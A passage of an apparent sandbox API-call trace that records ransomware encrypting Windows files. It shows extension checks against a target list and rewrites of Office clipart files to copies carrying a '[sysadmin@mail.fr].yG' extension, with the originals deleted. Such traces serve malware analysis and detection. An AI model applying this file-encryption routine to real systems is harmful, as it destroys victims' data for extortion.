	[0170.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.152] lstrlenW (lpString=".xlsx") returned 5
	[0170.152] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0170.152] lstrlenW (lpString=".ppt") returned 4
	[0170.152] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0170.152] lstrlenW (lpString=".zip") returned 4
	[0170.152] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.152] lstrlenW (lpString=".rar") returned 4
	[0170.152] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.152] lstrlenW (lpString=".bz2") returned 4
	[0170.153] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.153] lstrlenW (lpString=".7z") returned 3
	[0170.153] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0170.153] lstrlenW (lpString=".dbf") returned 4
	[0170.153] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0170.153] lstrlenW (lpString=".1cd") returned 4
	[0170.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0170.153] lstrlenW (lpString=".jpg") returned 4
	[0170.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.155] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=4536) returned 1
	[0170.155] CloseHandle (hObject=0x558) returned 1
	[0170.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf")) returned 0x220
	[0170.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0170.156] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.156] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0170.158] GetLastError () returned 0x0
	[0170.158] ReadFile (in: hFile=0x558, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x11b8, lpOverlapped=0x0) returned 1
	[0170.162] WriteFile (in: hFile=0x550, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x11c0, lpOverlapped=0x0) returned 1
	[0170.163] ReadFile (in: hFile=0x558, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.163] WriteFile (in: hFile=0x550, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.164] SetEndOfFile (hFile=0x550) returned 1
	[0170.164] CloseHandle (hObject=0x550) returned 1
	[0170.164] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.164] SetEndOfFile (hFile=0x558) returned 1
	[0170.171] CloseHandle (hObject=0x558) returned 1
	[0170.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.172] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf")) returned 1
	[0170.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0170.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0170.173] lstrlenW (lpString=".doc") returned 4
	[0170.173] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.173] lstrlenW (lpString=".docx") returned 5
	[0170.173] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0170.173] lstrlenW (lpString=".pdf") returned 4
	[0170.173] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.173] lstrlenW (lpString=".xls") returned 4
	[0170.173] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.173] lstrlenW (lpString=".xlsx") returned 5
	[0170.173] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0170.173] lstrlenW (lpString=".ppt") returned 4
	[0170.173] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0170.173] lstrlenW (lpString=".zip") returned 4
	[0170.173] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.173] lstrlenW (lpString=".rar") returned 4
	[0170.173] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.173] lstrlenW (lpString=".bz2") returned 4
	[0170.173] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.239] lstrlenW (lpString=".7z") returned 3
	[0170.239] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0170.239] lstrlenW (lpString=".dbf") returned 4
	[0170.239] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0170.240] lstrlenW (lpString=".1cd") returned 4
	[0170.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0170.240] lstrlenW (lpString=".jpg") returned 4
	[0170.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.240] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=8552) returned 1
	[0170.240] CloseHandle (hObject=0x570) returned 1
	[0170.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf")) returned 0x220
	[0170.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0170.242] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.242] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0170.243] GetLastError () returned 0x0
	[0170.243] ReadFile (in: hFile=0x570, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x2168, lpOverlapped=0x0) returned 1
	[0170.285] WriteFile (in: hFile=0x57c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x2170, lpOverlapped=0x0) returned 1
	[0170.287] ReadFile (in: hFile=0x570, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.287] WriteFile (in: hFile=0x57c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.287] SetEndOfFile (hFile=0x57c) returned 1
	[0170.287] CloseHandle (hObject=0x57c) returned 1
	[0170.287] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.287] SetEndOfFile (hFile=0x570) returned 1
	[0170.291] CloseHandle (hObject=0x570) returned 1
	[0170.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.292] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf")) returned 1
	[0170.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0170.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0170.293] lstrlenW (lpString=".doc") returned 4
	[0170.293] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.293] lstrlenW (lpString=".docx") returned 5
	[0170.294] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0170.294] lstrlenW (lpString=".pdf") returned 4
	[0170.294] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.294] lstrlenW (lpString=".xls") returned 4
	[0170.294] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.294] lstrlenW (lpString=".xlsx") returned 5
	[0170.294] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0170.294] lstrlenW (lpString=".ppt") returned 4
	[0170.294] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0170.294] lstrlenW (lpString=".zip") returned 4
	[0170.294] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.294] lstrlenW (lpString=".rar") returned 4
	[0170.294] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.294] lstrlenW (lpString=".bz2") returned 4
	[0170.294] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.294] lstrlenW (lpString=".7z") returned 3
	[0170.294] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0170.294] lstrlenW (lpString=".dbf") returned 4
	[0170.294] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0170.295] lstrlenW (lpString=".1cd") returned 4
	[0170.295] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0170.295] lstrlenW (lpString=".jpg") returned 4
	[0170.295] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.295] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=7996) returned 1
	[0170.295] CloseHandle (hObject=0x570) returned 1
	[0170.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf")) returned 0x220
	[0170.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0170.297] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.297] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0170.298] GetLastError () returned 0x0
	[0170.298] ReadFile (in: hFile=0x570, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x1f3c, lpOverlapped=0x0) returned 1
	[0170.362] WriteFile (in: hFile=0x57c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x1f40, lpOverlapped=0x0) returned 1
	[0170.364] ReadFile (in: hFile=0x570, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.364] WriteFile (in: hFile=0x57c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.364] SetEndOfFile (hFile=0x57c) returned 1
	[0170.365] CloseHandle (hObject=0x57c) returned 1
	[0170.365] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.365] SetEndOfFile (hFile=0x570) returned 1
	[0170.369] CloseHandle (hObject=0x570) returned 1
	[0170.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.464] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf")) returned 1
	[0170.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0170.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0170.808] lstrlenW (lpString=".doc") returned 4
	[0170.808] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.808] lstrlenW (lpString=".docx") returned 5
	[0170.808] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0170.808] lstrlenW (lpString=".pdf") returned 4
	[0170.808] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.808] lstrlenW (lpString=".xls") returned 4
	[0170.808] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.808] lstrlenW (lpString=".xlsx") returned 5
	[0170.808] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0170.808] lstrlenW (lpString=".ppt") returned 4
	[0170.808] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0170.808] lstrlenW (lpString=".zip") returned 4
	[0170.808] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.809] lstrlenW (lpString=".rar") returned 4
	[0170.809] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.809] lstrlenW (lpString=".bz2") returned 4
	[0170.809] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.809] lstrlenW (lpString=".7z") returned 3
	[0170.809] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0170.809] lstrlenW (lpString=".dbf") returned 4
	[0170.809] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0170.809] lstrlenW (lpString=".1cd") returned 4
	[0170.809] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0170.809] lstrlenW (lpString=".jpg") returned 4
	[0170.809] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.810] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=13436) returned 1
	[0170.810] CloseHandle (hObject=0x364) returned 1
	[0170.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf")) returned 0x220
	[0170.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0170.811] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.811] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0170.812] GetLastError () returned 0x0
	[0170.812] ReadFile (in: hFile=0x364, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x347c, lpOverlapped=0x0) returned 1
	[0170.866] WriteFile (in: hFile=0x554, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x3480, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x3480, lpOverlapped=0x0) returned 1
	[0170.921] ReadFile (in: hFile=0x364, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.921] WriteFile (in: hFile=0x554, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.921] SetEndOfFile (hFile=0x554) returned 1
	[0170.922] CloseHandle (hObject=0x554) returned 1
	[0170.926] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.926] SetEndOfFile (hFile=0x364) returned 1
	[0170.932] CloseHandle (hObject=0x364) returned 1
	[0170.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.933] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf")) returned 1
	[0170.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0170.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0170.934] lstrlenW (lpString=".doc") returned 4
	[0170.934] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.935] lstrlenW (lpString=".docx") returned 5
	[0170.935] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0170.935] lstrlenW (lpString=".pdf") returned 4
	[0170.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.935] lstrlenW (lpString=".xls") returned 4
	[0170.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.935] lstrlenW (lpString=".xlsx") returned 5
	[0170.935] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0170.935] lstrlenW (lpString=".ppt") returned 4
	[0170.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0170.935] lstrlenW (lpString=".zip") returned 4
	[0170.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.935] lstrlenW (lpString=".rar") returned 4
	[0170.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.935] lstrlenW (lpString=".bz2") returned 4
	[0170.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.935] lstrlenW (lpString=".7z") returned 3
	[0170.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0170.935] lstrlenW (lpString=".dbf") returned 4
	[0170.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0170.935] lstrlenW (lpString=".1cd") returned 4
	[0170.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0170.935] lstrlenW (lpString=".jpg") returned 4
	[0170.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.937] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=12308) returned 1
	[0170.937] CloseHandle (hObject=0x364) returned 1
	[0170.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf")) returned 0x220
	[0170.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
